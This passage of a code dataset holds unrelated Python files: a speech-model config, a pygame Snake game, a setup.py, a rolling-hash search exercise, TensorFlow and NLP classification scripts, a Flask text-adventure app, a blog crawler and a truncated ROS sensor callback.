8000\n - filter_lo_edge = 100\n - filter_hi_edge = 4000\n - num_cepstral_coefs = 13\n - frame_length = 0.025\n - frame_shift = 0.010\n - preemphasis_coef = 0.97\n - num_channels = 40\n - num_fft_points = 512\n - window_type = hamm\n - spectrum_type = mag\n - compression_type = log\n - NO RASTA filter applied on MFCC\n + Input features must be normalized: (x - mean) / std\n + Context size: 21\n + Nonlinearity: Relu\n + Renorm: True (scales the data such that RMS is 1.0,\n performed after the activation)\n NOTE: the last layer (the bottleneck) is linear activated, and no renorm.\n \"\"\"\n\n @property\n def nb_layers(self):\n return 5\n\n\nclass BNF_2048_MFCC39(_BNFbase):\n \"\"\" Bottleneck fully connected network (2048-units):\n + Feature: 39-D MFCCs with 13-D+detla+ddelta)\n - sample_rate = 8000\n - filter_lo_edge = 100\n - filter_hi_edge = 4000\n - num_cepstral_coefs = 13\n - frame_length = 0.025\n - frame_shift = 0.010\n - preemphasis_coef = 0.97\n - num_channels = 40\n - num_fft_points = 512\n - window_type = hamm\n - spectrum_type = mag\n - compression_type = log\n - NO RASTA filter applied on MFCC\n + Input features must be normalized: (x - mean) / std\n + Context size: 21\n + Nonlinearity: Relu\n + Renorm: True (scales the data such that RMS is 1.0,\n performed after the activation)\n NOTE: the last layer (the bottleneck) is linear activated, and no renorm.\n \"\"\"\n @property\n def nb_layers(self):\n return 6\n\n\nclass BNF_2048_MFCC40(_BNFbase):\n \"\"\" Bottleneck fully connected network (2048-units):\n + Feature: static 40-D MFCCs\n - sample_rate = 8000\n - filter_lo_edge = 100\n - filter_hi_edge = 4000\n - num_cepstral_coefs = 40\n - frame_length = 0.025\n - frame_shift = 0.010\n - preemphasis_coef = 0.97\n - num_channels = 40\n - num_fft_points = 512\n - window_type = hamm\n - spectrum_type = mag\n - compression_type = log\n - NO RASTA filter applied on MFCC\n + Input features must be normalized: (x - mean) / std\n + Context size: 21\n + Nonlinearity: Relu\n + Renorm: True (scales the data such that RMS is 1.0,\n performed after the activation)\n NOTE: the last layer (the bottleneck) is linear activated, and no renorm.\n \"\"\"\n @property\n def nb_layers(self):\n return 6\n","sub_path":"odin/nnet/models/bnf.py","file_name":"bnf.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"276353160","text":"# Игра Змейка\n# использует пакет livewires\n\nimport pygame\nimport random\n\nWIDTH = 800\nHEIGHT = 650\nFPS = 15\n\n# Задаем цвета\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nYELLOW=(255, 255, 0)\n\n# Глобальные констаны\nMOVE=\"d\"\nHEAD=[]\nNUM=0\nIS_ONE=True\nSCORE=0\nTOUCH=False\nWIN=False\n\n# Спрайт змея\nclass Snake(pygame.sprite.Sprite):\n num=0\n def __init__(self,x,y,i):\n global IS_ONE\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.Surface((20, 20))\n if IS_ONE:\n self.HEAD_D=pygame.image.load('Голова_D.png').convert_alpha()\n self.HEAD_S=pygame.image.load('Голова_S.png').convert_alpha()\n self.HEAD_A=pygame.image.load('Голова_A.png').convert_alpha()\n self.HEAD_W=pygame.image.load('Голова_W.png').convert_alpha()\n self.image=self.HEAD_D\n else:\n self.image.fill(GREEN)\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n self.i=i\n \n def update(self):\n global MOVE\n global TOUCH\n for i in range(2,len(HEAD),1):\n if HEAD[0].rect.colliderect(HEAD[i]):\n TOUCH=True\n if self.i==0:\n for i in range(len(HEAD)-1,0,-1):\n HEAD[i].rect.center=HEAD[i-1].rect.center\n if MOVE=='w':\n self.image=self.HEAD_W\n self.rect.y -= 20\n elif MOVE=='a':\n self.image=self.HEAD_A\n self.rect.x -= 20\n elif MOVE=='s':\n self.image=self.HEAD_S\n self.rect.y += 20\n elif MOVE=='d':\n self.image=self.HEAD_D\n self.rect.x += 20\n for i in range(1,len(HEAD),1):\n if self.i==i:\n self.rect.center=HEAD[i].rect.center\n break\n if self.rect.left > WIDTH:\n self.rect.right = 0\n if self.rect.right < 0:\n self.rect.left = WIDTH\n if self.rect.top < 0:\n self.rect.bottom = HEIGHT\n if self.rect.bottom > HEIGHT:\n self.rect.top = 0\n for i in range(0,len(HEAD),1):\n HEAD[self.i].rect.center=self.rect.center\n def add(self,x,y):\n global IS_ONE\n global WIN\n if IS_ONE:\n IS_ONE=False\n self.num+=1\n HEAD.append(Snake(x,y,self.num))\n if len(HEAD)>=WIDTH*HEIGHT//20:\n WIN=True\n\n# Спрайт еда\nclass Food(pygame.sprite.Sprite):\n def __init__(self,snake):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.Surface((20, 20))\n image_food = pygame.image.load('apple.jpg').convert_alpha()\n self.image=image_food\n self.rect = self.image.get_rect()\n foodcell=randcell()\n while foodcell[0]==WIDTH // 2 and foodcell[1]==HEIGHT // 2:\n foodcell=randcell()\n self.rect.center = foodcell\n self.snake=snake\n \n def update(self):\n if self.rect.colliderect(self.snake.rect):\n global IS_ONE\n global SCORE\n SCORE+=1\n x=HEAD[self.snake.num].rect.center[0]\n y=HEAD[self.snake.num].rect.center[1]\n if MOVE=='w':\n if IS_ONE:\n snake.add(x,y+20)\n else:\n snake.add(x,y+10)\n elif MOVE=='a':\n if IS_ONE:\n snake.add(x+20,y)\n else:\n snake.add(x+10,y)\n elif MOVE=='s':\n snake.add(x,y-10)\n elif MOVE=='d':\n snake.add(x-10,y)\n foodcell=randcell()\n while foodcell[0]==snake.rect.center[0] and foodcell[1]==snake.rect.center[1]:\n foodcell=randcell()\n self.rect.center = foodcell\n\n# Генерация рандомной ячейки\ndef randcell():\n x=random.randrange(WIDTH-40)+20\n y=random.randrange(HEIGHT-40)+20\n return (x,y)\n\n# Создаем игру и окно\npygame.init()\npygame.mixer.init()\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Игра Змейка\")\nclock = pygame.time.Clock()\nall_sprites = pygame.sprite.Group()\nsnake = Snake(WIDTH // 2, HEIGHT // 2,0)\nHEAD.append(Snake(WIDTH // 2, HEIGHT // 2,0))\nfood=Food(snake)\nall_sprites.add(snake)\nall_sprites.add(food)\nfont=pygame.font.Font(None,36)\nendgame=pygame.font.SysFont('arial',72)\n\n# Цикл игры\nrunning = True\nwhile running and not TOUCH and not WIN:\n # Держим цикл на правильной скорости\n clock.tick(FPS)\n # Ввод процесса (события)\n for event in pygame.event.get():\n # Ожидание закрытия окна\n if event.type == pygame.QUIT:\n running = False\n # Ожидание нажатия кнопки\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_w:\n MOVE='w'\n if event.key == pygame.K_a:\n MOVE='a'\n if event.key == pygame.K_s:\n MOVE='s'\n if event.key == pygame.K_d:\n MOVE='d'\n # Обновление\n all_sprites.update()\n \n # Рендеринг\n if snake.num>NUM:\n if NUM==0:\n NUM=1\n for i in range(NUM,snake.num+1,1):\n all_sprites.add(HEAD[i])\n NUM=snake.num\n screen.fill(BLACK)\n all_sprites.draw(screen)\n text=font.render(\"Очки: \"+str(SCORE),True,WHITE)\n screen.blit(text,[670,10])\n \n # После отрисовки всего, переворачиваем экран\n pygame.display.flip()\n# Проигрыш\nif TOUCH:\n text=font.render(\"Вы проиграли\",True,RED)\n screen.blit(text,[WIDTH // 2, HEIGHT // 2])\n pygame.display.flip()\n pygame.time.wait(1000)\n# Выигрыш\nelif WIN:\n text=font.render(\"Вы выиграли\",True,GREEN)\n screen.blit(text,[WIDTH // 2, HEIGHT // 2])\n pygame.display.flip()\n pygame.time.wait(1000)\n\npygame.quit()\n\n\n","sub_path":"Python/игра змейка/Игра Змейка.pyw","file_name":"Игра Змейка.pyw","file_ext":"pyw","file_size_in_byte":6185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"58475387","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# =======================================================\n# Copyright(c) 2019 Blacknon. All rights reserved.\n# Use of this source code is governed by an MIT license\n# that can be found in the LICENSE file.\n# =======================================================\n\nimport os\nimport platform\n\nimport setuptools\n\n\n# 補完ファイルインストール用関数\ndef get_data_files():\n\n # 補完ファイルのインストール先を取得する関数\n def get_completefile_install_location(shell):\n # pathのprefixを定義\n prefix = ''\n\n # osの種類を取得\n uname = platform.uname()[0]\n\n # 実行ユーザがrootかどうかでprefixを変更\n if os.geteuid() == 0:\n ''' システムインストール時の挙動 '''\n if uname == 'Linux' and shell == 'bash':\n prefix = '/'\n elif uname == 'Linux' and shell == 'zsh':\n prefix = '/usr/local'\n elif uname == 'Darwin' and shell == 'bash':\n prefix = '/'\n elif uname == 'Darwin' and shell == 'zsh':\n prefix = '/usr'\n\n # shellの種類に応じてインストール先のlocationを変更\n if shell == 'bash':\n location = os.path.join(prefix, 'etc/bash_completion.d')\n elif shell == 'zsh':\n location = os.path.join(prefix, 'share/zsh/site-functions')\n else:\n raise ValueError('unsupported shell: {0}'.format(shell))\n\n # locationを返す\n return location\n\n # locationをdict形式で取得する\n loc = {\n 'bash': get_completefile_install_location('bash'),\n 'zsh': get_completefile_install_location('zsh')\n }\n\n # 対象となるファイルをdict形式で指定\n files = dict(\n bash=['completion/websearch-completion.bash'],\n zsh=[\n 'completion/websearch-completion.bash',\n 'completion/_websearch'\n ]\n )\n\n # data_files形式でreturn\n data_files = []\n data_files.append((loc['bash'], files['bash']))\n data_files.append((loc['zsh'], files['zsh']))\n return data_files\n\n\nif __name__ == \"__main__\":\n setuptools.setup(\n name='websearch',\n version='0.1.3',\n install_requires=[\n 'argparse',\n 'bs4',\n 'fake_useragent',\n 'lxml'\n ],\n url='https://github.com/blacknon/websearch',\n packages=setuptools.find_packages(),\n py_modules=['websearch'],\n entry_points={\n 'console_scripts': [\n 'websearch = websearch:main',\n ],\n },\n data_files=get_data_files(),\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"20583293","text":"###################################\n########## PROBLEM 3-4 ###########\n###################################\n\n\nfrom rolling_hash import rolling_hash\n\ndef roll_forward(rolling_hash_obj, next_letter):\n \"\"\"\n \"Roll the hash forward\" by discarding the oldest input character and\n appending next_letter to the input. Return the new hash, and save it in rolling_hash_obj.hash_val as well\n\n Parameters\n ----------\n rolling_hash_obj : rolling_hash\n Instance of rolling_hash\n next_letter : char\n New letter to append to input.\n\n Returns\n -------\n hsh : int\n Hash of updated input.\n \"\"\"\n\n # Pop a letter from the left and get the mapped value of the popped letter\n # YOUR CODE HERE\n popped_letter = rolling_hash_obj.sliding_window.popleft()\n mapped_popped_letter_value = rolling_hash_obj.alphabet_map[popped_letter]\n\n # Push a letter to the right.\n # YOUR CODE HERE\n rolling_hash_obj.sliding_window.append(next_letter)\n\n # Set the hash_val in the rolling hash object\n # Hint: rolling_hash_obj.a_to_k_minus_1 may be useful\n rolling_hash_obj.hash_val = ((rolling_hash_obj.hash_val - mapped_popped_letter_value * rolling_hash_obj.a_to_k_minus_1) * rolling_hash_obj.a + rolling_hash_obj.alphabet_map[next_letter]) % rolling_hash_obj.m\n\n # Return.\n return\n\n\ndef exact_search(rolling_hash_obj, pattern, document):\n \"\"\"\n Search for string pattern in document. Return the position of the first match,\n or None if no match.\n\n Parameters\n ----------\n rolling_hash_obj : rolling_hash\n Instance of rolling_hash, with parameters guaranteed to be already filled in based on the inputs we will test: the hash length (k) and alphabet (alphabet) are already set\n You will need to create atleast one additional instance of rolling_hash_obj\n pattern : str\n String to search in document.\n document : str\n Document to search.\n\n Returns\n -------\n pos : int or None\n (zero-indexed) Position of first approximate match of S in T, or None if no match.\n \"\"\"\n\n # may be helpful for you\n n = len(document)\n k = len(pattern)\n\n ## DO NOT MODIFY ##\n rolling_hash_obj.set_roll_forward_fn(roll_forward)\n rolling_hash_obj.init_hash(document[:k])\n ## END OF DO NOT MODIFY ##\n\n pattern_hash_object = rolling_hash(len(pattern))\n pattern_hash_object.init_hash(pattern)\n\n for i in range(k,n):\n next_letter = document[i]\n rolling_hash_obj.roll_forward(next_letter)\n if rolling_hash_obj.hash_val == pattern_hash_object.hash_val:\n if rolling_hash_obj.sliding_window == pattern_hash_object.sliding_window:\n return i - k + 1\n return None\n","sub_path":"Intro_to_Algorithms/Pset3/search_template.py","file_name":"search_template.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"318043259","text":"import tensorflow as tf\ntf.compat.v1.disable_eager_execution()\nsess = tf.compat.v1.Session()\n\n# constant multiply\nx1=tf.constant(1)\ny1=tf.constant(2)\n#注意这里x,y必须要有相同的数据类型,不然就会因为数据类型不匹配报错\nz1=tf.multiply(x1,y1)\nprint(z1)\nprint(sess.run(z1))\n\n# one row two column +\na = tf.constant([1.0, 2.0])\nb = tf.constant([3.0, 4.0])\nresult = a + b\nprint(result)\nprint(sess.run(result))\n\n# matmul\na1 = tf.constant([[3.0, 4.0]])\na2 = tf.constant([[1.0], [2.0]])\nresult1 = tf.matmul(a1, a2)\nprint(result1)\nprint(sess.run(result1))\n\nx=tf.constant([[1.,2.,3.],[1.,2.,3.],[1.,2.,3.]])\ny=tf.constant([[0.,0.,1.],[0.,0.,1.],[0.,0.,1.]])\n#注意这里x,y必须要有相同的数据类型,不然就会因为数据类型不匹配报错\nz=tf.multiply(x,y)\nprint(z)\nprint(sess.run(z))\n","sub_path":"技术知识/AI/multiple_matmul.py","file_name":"multiple_matmul.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"472533451","text":"from argparse import ArgumentParser\nfrom collections import OrderedDict\n\nfrom common import print_stats\nfrom configs.data_config import DataArgParser\nfrom data.Arithmetic_data import ArmData\nfrom data.set_task_functions import SetFunction\nfrom my_common.my_helper import enum_sprint, args_list_to_dict\nfrom util.constants import ExperimentData, ArmSampleScheme\n\n\nclass SetDataArgParser(DataArgParser):\n\n @classmethod\n def add_args(cls, parser):\n\n assert isinstance(parser, ArgumentParser)\n\n group = parser.add_argument_group('Set Data', 'HyperParameters for Set Data')\n\n # Arbitrary functions: implemented for newer tasks\n group.add_argument('-sf', '--set_function', default=None, type=str,\n help=f'Set function to compute: {enum_sprint(SetFunction)}')\n group.add_argument('--set_function_args', nargs=\"+\",\n help='Arguments for set function, if applicable')\n group.add_argument('--vocab_size', type=int, default=0,\n help=\"Size of vocabulary for given task, if applicable (integer arithmetic, language, ..)\")\n group.add_argument('--n_sets', type=int, default=0,\n help=\"Number of sets in dataset, if applicable (e.g. most synthetic tasks)\")\n group.add_argument('--len_sets', type=int, default=0,\n help=\"Cardinality of sets, if applicable\")\n #\n # Arguments for arithmetic tasks\n #\n group.add_argument('--arm_s_type', type=str, default=ArmSampleScheme.unif.name,\n help=\"Sampling scheme for arithmetic task\")\n group.add_argument(\"--arm_s_args\", nargs=\"+\",\n help=f\"Arguments for the sample functions in ArmData\\n {ArmData.helper()}\")\n\n #\n # General arguments\n #\n\n def assign_parsed(self, args):\n ##########\n # PARAMETERS THAT CONTROL DATA GENERATION\n ##########\n if args.set_function != self.parser.get_default(\"set_function\"):\n self.set_function = SetFunction[args.set_function]\n self.set_function_args = args_list_to_dict(args.set_function_args)\n else:\n self.set_function = args.set_function # i.e., None\n self.set_function_args = OrderedDict()\n self.vocab_size = args.vocab_size\n\n ##########\n # PARAMETERS THAT DEPEND ON THE EXPERIMENT\n ########\n if self.experiment_data in (ExperimentData.scalar_int_arm, ExperimentData.scalar_cont_arm):\n if self.experiment_data == ExperimentData.scalar_int_arm:\n print_stats(\"Using scalar integer arithmetic tasks.\")\n else:\n print_stats(\"Using scalar continuous arithmetic tasks.\")\n assert args.set_function is not None\n if self.balance_target:\n assert args.n_sets % 2 == 0, \"Number of sets must be even when --balance_target is True.\"\n self.arm_config = self.load_arm_args(args)\n\n else:\n raise ValueError(\"Unknown experiment data. Please check if it is graph data. If not, then it hasn't been implemented.\")\n\n @staticmethod\n def load_arm_args(args):\n assert args.n_sets > 1, \"Num sets should be > 1 (for cv splits)\"\n assert args.len_sets > 1, \"Len sets should be > 1\"\n assert args.vocab_size >= 0, \"Vocab size should be >= 0\"\n s_kwargs = args_list_to_dict(args.arm_s_args)\n\n arm_config = OrderedDict()\n arm_config['n_sets'] = args.n_sets\n arm_config['len_sets'] = args.len_sets\n arm_config['vocab_size'] = args.vocab_size\n arm_config['i_type'] = ExperimentData[args.experiment_data]\n arm_config['s_type'] = ArmSampleScheme[args.arm_s_type.lower()]\n arm_config['s_kwargs'] = s_kwargs\n\n return arm_config\n\n def get_data_id_string(self):\n \"\"\"\n Get set id string from an instantiated object\n :return: The set id string representing the configurations of sets\n \"\"\"\n if self.experiment_data in (ExperimentData.scalar_int_arm, ExperimentData.scalar_cont_arm):\n data_id_string = self.get_arm_style_full_data_id(set_len=self.arm_config['len_sets'],\n n_sets=self.arm_config['n_sets'],\n vocab_size=self.arm_config['vocab_size'],\n i_type=self.arm_config['i_type'],\n s_type=self.arm_config['s_type'],\n s_kwargs=self.arm_config['s_kwargs'],\n random_state=self.sample_random_state,\n set_function=self.set_function,\n swapping_scheme=self.swapping_scheme,\n swapped=self.do_swapping,\n ordering=self.ordering,\n pre_ordering=self.pre_ordering,\n noise=self.noise,\n function_args=self.set_function_args)\n\n else:\n raise NotImplementedError(\"Don't know how to get data id string for ExperimentData entered.\")\n\n return data_id_string\n\n @staticmethod\n def get_arm_style_full_data_id(set_len, n_sets, vocab_size, i_type, s_type, s_kwargs,\n random_state, set_function, swapping_scheme, swapped, ordering, pre_ordering, noise,\n function_args):\n data_id_string = ArmData.arm_style_data_id(set_len=set_len,\n n_sets=n_sets,\n i_type=i_type,\n s_type=s_type,\n s_kwargs=s_kwargs,\n vocab_size=vocab_size,\n random_state=random_state\n )\n data_id_string = SetDataArgParser.add_additional_id_info(data_id_string,\n set_function, swapping_scheme, swapped, ordering,\n pre_ordering=pre_ordering,\n noise=noise,\n function_args=function_args)\n\n return data_id_string\n\n\nif __name__ == \"__main__\":\n data_cfg = SetDataArgParser()\n print(data_cfg.get_data_path())\n","sub_path":"TEXT_CLASSIFICATION/Transformer/configs/set_config.py","file_name":"set_config.py","file_ext":"py","file_size_in_byte":7034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"525729996","text":"from app import app\nfrom flask import render_template, request\nfrom app.models import model, formopener\n\n@app.route('/')\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n@app.route('/character_creation', methods = ['GET','POST'])\ndef character_creation():\n if request.method == 'GET':\n return \"Please enter a name\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['choices']\n choices = vre.decode('utf-8')\n return render_template('character_creation.html', choices=choices)\n\n@app.route('/character_stats', methods = ['GET','POST'])\ndef character_stat():\n if request.method == 'GET':\n return \"Please enter a your type of stat\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['stats']\n stats = model.stats(vre.decode('utf-8'))\n return render_template('character_stats.html', stats=stats)\n\n@app.route('/map', methods = ['GET','POST'])\ndef maps():\n if request.method == 'GET':\n return \"Please click for the map\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['Map']\n maps = model.stats(vre.decode('utf-8'))\n return render_template('map.html', maps=maps)\n\n@app.route('/city',methods = ['GET','POST'])\ndef city():\n if request.method == 'GET':\n return \"Click on the city\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['City']\n city = vre.decode('utf-8')\n return render_template('city.html', city=city)\n \n@app.route('/forest',methods = ['GET','POST'])\ndef forest():\n if request.method == 'GET':\n return \"Click on the forest\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['Forest']\n forest = vre.decode('utf-8')\n return render_template('forest.html', forest=forest)\n \n@app.route('/town',methods = ['GET','POST'])\ndef town():\n if request.method == 'GET':\n return \"Click on the town\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['Town']\n town = vre.decode('utf-8')\n return render_template('town.html', town=town)\n \n@app.route('/mystery',methods = ['GET','POST'])\ndef mystery():\n if request.method == 'GET':\n return \"Click on for a mystery\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['Mystery']\n mystery = vre.decode('utf-8')\n return render_template('mystery.html', mystery=mystery)\n\n@app.route('/enemy',methods = ['GET','POST'])\ndef enemy():\n if request.method == 'GET':\n return \"Click on for enemy\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['enemy']\n enemy = vre.decode('utf-8')\n return render_template('enemy.html', enemy=enemy)\n \n@app.route('/enemy2',methods = ['GET','POST'])\ndef enemy2():\n if request.method == 'GET':\n return \"Click on for enemy\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['enemy2']\n enemy2 = vre.decode('utf-8')\n return render_template('enemy2.html', enemy2=enemy2)\n@app.route('/fight',methods = ['GET','POST'])\ndef fight():\n if request.method == 'GET':\n return \"Click on to fight\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['fight']\n fight = vre.decode('utf-8')\n return render_template('fight.html', fight=fight)\n\n@app.route('/victory',methods = ['GET','POST'])\ndef victory():\n if request.method == 'GET':\n return \"Click on for a victory\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['move']\n victory = vre.decode('utf-8')\n return render_template('victory.html', victory=victory)\n\n@app.route('/lose',methods = ['GET','POST'])\ndef lose():\n if request.method == 'GET':\n return \"Click on to continue\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['lose']\n lose = vre.decode('utf-8')\n return render_template('lose.html', lose=lose)\n\n@app.route('/index',methods = ['GET','POST'])\ndef start():\n if request.method == 'GET':\n return \"Click on to go home\"\n else:\n userdata = formopener.dict_from(request.form)\n vre = userdata['start']\n start = vre.decode('utf-8')\n return render_template('index.html', start=start)\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"457067170","text":"import urllib.request\nfrom lxml import etree\nimport urllib.error\nimport random\nimport ssl\n\nclass text_con(object):\n \n def get_keyinfo(self, url):\n ua_list = [\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.29 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362\",\n \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3863.400\"\n ]\n ua = random.choice(ua_list)\n headers = {'User-Agent': ua}\n\n ssl._create_default_https_context = ssl._create_unverified_context\n file = open('blogroll.html', 'a', encoding='utf-8')\n try:\n request = urllib.request.Request(url=url, headers=headers)\n data = urllib.request.urlopen(request, timeout=5).read().decode('utf8', 'ignore') \n \n node = etree.HTML(data)\n title = node.xpath('/html/head/title/text()')\n keyword = node.xpath('//meta[@name=\"keywords\"]/@content')\n if (len(keyword) == 0):\n keyword =[\"\"]\n description = node.xpath('//meta[@name=\"description\"]/@content')\n if (len(description) == 0):\n description =[\"\"]\n \n file.write(\"

\"+ '' + title[0] + \"\"+\"
\"+ \"keywords:\"+keyword[0].replace(\",\", \"  \") +\"
\" +\"description:\"+description[0]+\"

\"+\"\\n\")\n file.close()\n print('写入中..')\n except :\n file.write(\"

error:\" + \"  \" + url +\"

\"+\"\\n\")\n file.close()\n print(\"error\")","sub_path":"spider/crawl_blog/output_content.py","file_name":"output_content.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"498624391","text":"import pandas as pd\nimport numpy as np\nfrom nltk.tokenize import word_tokenize\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom collections import defaultdict\nfrom nltk.corpus import wordnet as wn\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn import model_selection, naive_bayes, svm\nfrom sklearn.metrics import accuracy_score\n\nnp.random.seed(500)\n\nCorpus = pd.read_csv(r\"C:\\Users\\mosho\\OneDrive\\Desktop\\reviews.csv\")\n\n# Step - a : Remove blank rows if any.\nCorpus['content'].dropna(inplace=True)\n# Step - b : Change all the text to lower case. This is required as python interprets 'dog' and 'DOG' differently\nCorpus['content'] = [entry.lower() for entry in Corpus['content']]\n# Step - c : Tokenization : In this each entry in the corpus will be broken into set of words\nCorpus['content']= [word_tokenize(entry) for entry in Corpus['content']]\n# Step - d : Remove Stop words, Non-Numeric and perfom Word Stemming/Lemmenting.\n# WordNetLemmatizer requires Pos tags to understand if the word is noun or verb or adjective etc. By default it is set to Noun\ntag_map = defaultdict(lambda : wn.NOUN)\ntag_map['J'] = wn.ADJ\ntag_map['V'] = wn.VERB\ntag_map['R'] = wn.ADV\nfor index,entry in enumerate(Corpus['content']):\n # Declaring Empty List to store the words that follow the rules for this step\n Final_words = []\n # Initializing WordNetLemmatizer()\n word_Lemmatized = WordNetLemmatizer()\n # pos_tag function below will provide the 'tag' i.e if the word is Noun(N) or Verb(V) or something else.\n for word, tag in pos_tag(entry):\n # Below condition is to check for Stop words and consider only alphabets\n if word not in stopwords.words('english') and word.isalpha():\n word_Final = word_Lemmatized.lemmatize(word,tag_map[tag[0]])\n Final_words.append(word_Final)\n # The final processed set of words for each iteration will be stored in 'text_final'\n Corpus.loc[index,'text_final'] = str(Final_words)\n\n#split to train and test set\nTrain_X, Test_X, Train_Y, Test_Y = model_selection.train_test_split(Corpus['text_final'], Corpus['score'], test_size=0.2)\nEncoder = LabelEncoder()\nTrain_Y = Encoder.fit_transform(Train_Y)\nTest_Y = Encoder.fit_transform(Test_Y)\n\n#implementing count vectorizer and TF-IDF\nTfidf_vect = TfidfVectorizer(max_features=5000)\nTfidf_vect.fit(Corpus['text_final'])\nTrain_X_Tfidf = Tfidf_vect.transform(Train_X)\nTest_X_Tfidf = Tfidf_vect.transform(Test_X)\n\n\n#implementing Support Vector Machine\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.svm import SVC\n\nmodel = SVC()\n# defining parameter range\nparam_grid = {'C': [0.1, 1, 10, 100, 1000], \n 'gamma': [1, 0.1, 0.01, 0.001, 0.0001],\n 'kernel': ['rbf', 'linear', 'poly', 'sigmoid']} \n \ngrid = GridSearchCV(SVC(), param_grid, refit = True, verbose = 3)\n \n# fitting the model for grid search\ngrid.fit(Train_X_Tfidf,Train_Y)\n\n# print best parameter after tuning\nprint(grid.best_params_)\n\n# print how our model looks after hyper-parameter tuning\nprint(grid.best_estimator_)\n\n#Analysis\nfrom sklearn.metrics import classification_report, confusion_matrix\n\ngrid_predictions = grid.predict(Test_X_Tfidf)\n \n# print classification report\nprint(classification_report(Test_Y, grid_predictions))\n\n#implementing Naive Bayes\nfrom sklearn.model_selection import GridSearchCV\nparams = {'alpha': [0.01, 0.1, 0.5, 1.0, 10.0],\n }\n\ngrid = GridSearchCV(Naive, params, refit = True, verbose = 3)\ngrid.fit(Train_X_Tfidf,Train_Y)\n\n# print best parameter after tuning\nprint(grid.best_params_)\n\n# analysis and final result\nfrom sklearn.metrics import classification_report, confusion_matrix\n\ngrid_predictions = grid.predict(Test_X_Tfidf)\n \n# print classification report\nprint(classification_report(Test_Y, grid_predictions))\n","sub_path":"Feature and Class/MainBody.py","file_name":"MainBody.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"633931834","text":"#!/usr/bin/env python\n\n# Collect PR2 sleeve data for NIDRR\n\nimport math, numpy as np\nimport matplotlib.pyplot as pp\n\nimport scipy.linalg as lin\nimport scipy.ndimage as ni\n\nimport roslib; roslib.load_manifest('sandbox_tapo_darpa_m3')\nimport rospy\nimport tf\nimport os\nimport optparse\n\nimport hrl_lib.util as ut\nimport hrl_lib.transforms as tr\nimport hrl_lib.matplotlib_util as mpu \nimport pickle\n\nfrom hrl_haptic_manipulation_in_clutter_msgs.msg import SkinContact\nfrom hrl_haptic_manipulation_in_clutter_msgs.msg import TaxelArray as TaxelArray_Meka\n\nimport sys\n\ndef callback(data, callback_args):\n #rospy.loginfo('Getting data!')\n\n # Fixing Transforms \n tf_lstnr = callback_args\n sc = SkinContact()\n sc.header.frame_id = '/odom_combined' #'/torso_lift_link' # has to be this and no other coord frame.\n sc.header.stamp = data.header.stamp\n\n tf_lstnr.waitForTransform(sc.header.frame_id, data.header.frame_id, rospy.Time(0), rospy.Duration(40.0))\n \n try:\n \ttf_lstnr.waitForTransform(sc.header.frame_id, data.header.frame_id, rospy.Time(0), rospy.Duration(40.0))\n \tt1, q1 = tf_lstnr.lookupTransform(sc.header.frame_id,\n data.header.frame_id,\n rospy.Time(0))\n \n \tt1 = np.matrix(t1).reshape(3,1)\n \tr1 = tr.quaternion_to_matrix(q1)\n\n \t# Gathering Force Data\n \tforce_vectors = np.row_stack([data.values_x, data.values_y, data.values_z])\n \tfmags_instant = ut.norm(force_vectors)\n \tthreshold = 0.01\n \tfmags_tuned = fmags_instant - threshold\n 